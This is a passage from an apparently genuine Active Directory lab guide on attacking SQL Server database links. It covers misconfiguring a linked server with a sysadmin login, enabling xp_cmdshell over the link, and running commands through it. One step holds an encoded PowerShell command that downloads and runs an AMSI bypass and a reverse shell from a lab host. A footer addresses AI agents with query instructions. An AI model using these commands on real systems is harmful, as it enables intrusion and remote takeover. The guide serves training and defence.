# Database-Links

## Configuring

### Prerequisite

{% content-ref url="/pages/qB32tCgObrEYZKLqTafy" %}
[Normal domain user access](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/sql-server-attacks/initial-access/normal-domain-user-access.md)
{% endcontent-ref %}

### Configuring SQL user on Data01

1. Login to `DATA01` as the `Administrator` user with password `Welcome01!`.
2. Open "Microsoft SQL Server Management Studio".

<div align="left"><img src="/files/GIZvOFizWwCCIqmnGGhX" alt=""></div>

3\.  Login with the `Administrator` user using Windows Authentication.

<div align="left"><img src="/files/OeJzBjZsa1Uhp8n2Ur4P" alt=""></div>

4\. Right click on the server object "Data01\Data (SQL Server 15.0.2000.5)" and select "Properties".

5\. Open the "Security" tab and select "SQL Server and Windows Authentication mode" under "Server authentication".

<div align="left"><img src="/files/g8s9IDJIdGUumulYd1o0" alt=""></div>

6\. Open "SQL Server 2019 Configuration Manager"&#x20;

<div align="left"><img src="/files/3Yvp0dcH7nTjeqDTHleZ" alt=""></div>

7\. Restart the two SQL services with "DATA" in their name.

![](/files/QPhjAx2cRVsSA26oMaWj)

8\. Open "Microsoft SQL Server Management Studio".

9\. Expand "Security" and "Logins". Then right click on "Logins" and select "New Login".

10\. Fill in the login name `SQL_link` and password `Eo6#jAzonQhw` . Then make sure the three password flags "Enforce Password policy", "Enforce password expiration" and "User must change password at next login" are unselected.

<div align="left"><img src="/files/sD3Jrx6tFaOsGWYjETL0" alt=""></div>

11\. In the tab "Server Roles" select "setupadmin" and "sysadmin" and click "OK".

<div align="left"><img src="/files/f0UMd9s8KXs0sBvR2lQ7" alt=""></div>

12\. In the tab "User Mapping" select "Bank Transfers".

<div align="left"><img src="/files/MVX6qR2jIaTl60ZoaYL6" alt=""></div>

### Configuring SQL link

1. Login to `WEB01` as the `Administrator` user with password `Welcome01!`.
2. Open "Microsoft SQL Server Management Studio".
3. Login with the `Administrator` user using Windows Authentication.
4. Expand the "Server Objects" and "Linked Servers". Then right click on "Linked Servers" and select "New Linked Server".
5. Fill in `Data01.secure.local` and select "SQL Server".

<div align="left"><img src="/files/9nABZiHEj2SrtvB49PSu" alt=""></div>

6\. Open the "Security" tab and select "Be made using this security context". Then fill in the credentials we created in the previous section. `SQL_link` and password `Eo6#jAzonQhw` .&#x20;

<div align="left"><img src="/files/wfQzjPppFnvYM3CaDNng" alt=""></div>

7\. Open the "Server Options" tab and select True for "RPC Out". This is done so we can enable xp\_cmdshell during the attack.

<div align="left"><img src="/files/BaseguWI119bw1En4CWr" alt=""></div>

{% hint style="info" %}
Step 7 could be skipped and then it could be enabled during the attack after getting sa privileges on Web01 database using the following query:

`EXEC sp_serveroption @server='DATA01.SECURE.LOCAL', @optname='rpc out', @optvalue='True'`
{% endhint %}

8\. Click "OK" and the linked server should show up.

<div align="left"><img src="/files/rbaBb0ofW5DPH1E8WwTZ" alt=""></div>

## Attacking

### How it works

SQL Servers can be linked together to access data on the linked SQL Server. The link is created using a security context, this could be a SQL user or a domain user. The link will have the permissions from the user. If the user has sysadmin privileges it is possible to execute queries as sysadmin.

If xp\_cmdshell is enabled on the linked server it is possible to execute commands. Or if RPCOUT is enabled it is possible to enable xp\_cmdshell.

### Tools

* [PowerupSQL](https://github.com/NetSPI/PowerUpSQL)
* [Heidisql](https://www.heidisql.com/)

### Executing the attack

1. Download PowerUpSQL on the kali machine and host it on a webserver:

```
wget https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1
python3 -m http.server 8090
```

2\. Login to `WS01` as Richard with the password `Sample123`.

3\. Start PowerShell and download and execute an amsi and PowerUpSQL in memory:

<div align="left"><img src="/files/I9OQjCu5hQe0gIcBE0Pz" alt=""></div>

3\. With PowerUPSQL and the `Get-SQLServerLink` cmdlet we can query the SQL Server links from the current domain.

```
Get-SQLInstanceDomain | Get-SQLServerLink.
```

<div align="left"><img src="/files/eOYhMpEkJy9Yc3sFJi86" alt=""></div>

4\. The output shows that `web01.amsterdam.bank.local` has a SQL Server link to `DATA01.secure.local`.  A link that is to another domain. The output also shows that rpc\_out is enabled. With the cmdlet `Get-SQLServerLinkCrawl` we can execute a query through the linked servers.&#x20;

```
Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version'
```

<div align="left"><img src="/files/DaId4ZIoFkEPFlxUv1n9" alt=""></div>

We wont see the data from the SQL Query since its wrapped into the `CustomQuery` object. It is also queried to both SQL Servers.

5\. With the parameter `-QueryTarget` we can select a target instance to query.

```
Get-SQLInstanceDomain | Get-SQLServerLinkCrawl -Query 'select @@version' -QueryTarget DATA01\DATA | Select-Object -ExpandProperty CustomQuery
```

<div align="left"><img src="/files/pp9BBL6WCoZJ59xmcRWg" alt=""></div>

#### Connecting with HeidiSQL

1. Download [HeidiSQL](https://www.heidisql.com/download.php?download=portable-64) on `WS01`.
2. To execute SQL queries and look into the database start heidiSQL.
3. Click on "New" on the left bottom and configure the following settings:

* Network Type: `Microsoft SQL Server (TCP/IP)`
* Library: `SQLOLEDB`
* Hostname / IP: `WEB01.amsterdam.bank.local`
* Select: "Use Windows Authentication"
* Port: `1433`

![](/files/ad2lZTTA7K9cY8QNUgKK)

4\. Click "OK" on the security Issue warning.

5\. In the "Query" tab fill in the following to query the SQL Links:

```
SELECT * FROM master..sysservers;
```

<div align="left"><img src="/files/WK2nP9OOhviILbsUcjXF" alt=""></div>

6\. We discovered the same SQL server link as earlier. We can query the server with the following query:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'select @@version');
```

<div align="left"><img src="/files/cJ46eh48KoyT9anWtVfI" alt=""></div>

7\. We can query the server to check if `xp_cmdshell` is on:

```
SELECT * FROM OPENQUERY("DATA01.SECURE.LOCAL", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');
```

<div align="left"><img src="/files/FTc70QLfOjjptvCO7Ixb" alt=""></div>

8\. The value `0` means xp\_cmdshell is disabled. We can try to enable xp\_cmdshell with the following queries:

```
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT "DATA01.SECURE.LOCAL"
```

9\. When we check if xp\_cmdshell is enabled we see it is enabled now.

<div align="left"><img src="/files/nSnwkCuZKt6rWDdUP8q0" alt=""></div>

10\. We can execute commands using the EXECUTE function.

```
EXECUTE('exec master..xp_cmdshell ''whoami''') AT "DATA01.SECURE.LOCAL"
```

<div align="left"><img src="/files/ltAuDCXM66dkb2QQ2HIH" alt=""></div>

11\. We could get a reverse shell by executing the following query using the technique from:

{% content-ref url="/pages/8OhhbkYce91NLD3a7XgW" %}
[Reverse shell trick](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/misc/reverse-shell-trick.md)
{% endcontent-ref %}

```
EXECUTE('exec master..xp_cmdshell ''powershell.exe -w hidden -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIANAA4AC4AMgA6ADgAMAA5ADAALwBhAG0AcwBpAC4AdAB4AHQAIgApADsAIABpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA0ADgALgAyADoAOAAwADkAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA=''') AT "DATA01.SECURE.LOCAL"
```

<div align="left"><img src="/files/jKUQkTnzPFTDrnPCCPz6" alt=""></div>

### Cleanup

1. Execute the following query in HeidiSQL to disable xp\_cmdshell again:

```
EXEC('sp_configure ''xp_cmdshell'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"
EXEC('sp_configure ''show advanced options'', 0; reconfigure;') AT "DATA01.SECURE.LOCAL"
```

## Defending

### Recommendations

* Configure the SQL\_Link with the least privilege possible, dont use the sysadmin role.
* Disable xp\_cmdshell on the SQL Server.
* Disable RPC OUT on the SQL Server.

### Detection

## References


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/sql-server-attacks/database-links.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.